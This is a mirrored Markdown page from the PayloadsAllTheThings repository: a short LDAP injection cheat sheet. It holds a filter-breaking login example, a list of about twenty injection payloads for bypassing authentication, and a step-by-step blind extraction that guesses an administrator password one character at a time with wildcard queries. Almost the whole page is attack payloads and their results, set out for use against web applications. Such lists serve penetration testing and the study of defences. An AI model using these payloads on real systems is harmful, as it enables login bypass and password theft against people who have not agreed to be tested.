mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
57 lines
1.3 KiB
Markdown
57 lines
1.3 KiB
Markdown
|
# LDAP injection
|
||
|
|
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
|
||
|
|
|
||
|
|
## Exploitation
|
||
|
|
```
|
||
|
|
user = *)(uid=*))(|(uid=*
|
||
|
|
pass = password
|
||
|
|
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
|
||
|
|
```
|
||
|
|
|
||
|
|
## Payloads
|
||
|
|
```
|
||
|
|
*
|
||
|
|
*)(&
|
||
|
|
*))%00
|
||
|
|
*()|%26'
|
||
|
|
*()|&'
|
||
|
|
*(|(mail=*))
|
||
|
|
*(|(objectclass=*))
|
||
|
|
*)(uid=*))(|(uid=*
|
||
|
|
*/*
|
||
|
|
*|
|
||
|
|
/
|
||
|
|
//
|
||
|
|
//*
|
||
|
|
@*
|
||
|
|
|
|
||
|
|
admin*
|
||
|
|
admin*)((|userpassword=*)
|
||
|
|
admin*)((|userPassword=*)
|
||
|
|
x' or name()='username' or 'x'='y
|
||
|
|
```
|
||
|
|
|
||
|
|
## Blind Exploitation
|
||
|
|
We can extract using a bypass login
|
||
|
|
```
|
||
|
|
(&(sn=administrator)(password=*)) : OK
|
||
|
|
(&(sn=administrator)(password=A*)) : KO
|
||
|
|
(&(sn=administrator)(password=B*)) : KO
|
||
|
|
...
|
||
|
|
(&(sn=administrator)(password=M*)) : OK
|
||
|
|
(&(sn=administrator)(password=MA*)) : KO
|
||
|
|
(&(sn=administrator)(password=MB*)) : KO
|
||
|
|
...
|
||
|
|
(&(sn=administrator)(password=MY*)) : OK
|
||
|
|
(&(sn=administrator)(password=MYA*)) : KO
|
||
|
|
(&(sn=administrator)(password=MYB*)) : KO
|
||
|
|
(&(sn=administrator)(password=MYC*)) : KO
|
||
|
|
...
|
||
|
|
(&(sn=administrator)(password=MYK*)) : OK
|
||
|
|
(&(sn=administrator)(password=MYKE)) : OK
|
||
|
|
```
|
||
|
|
|
||
|
|
## Thanks to
|
||
|
|
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
|
||
|
|
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
|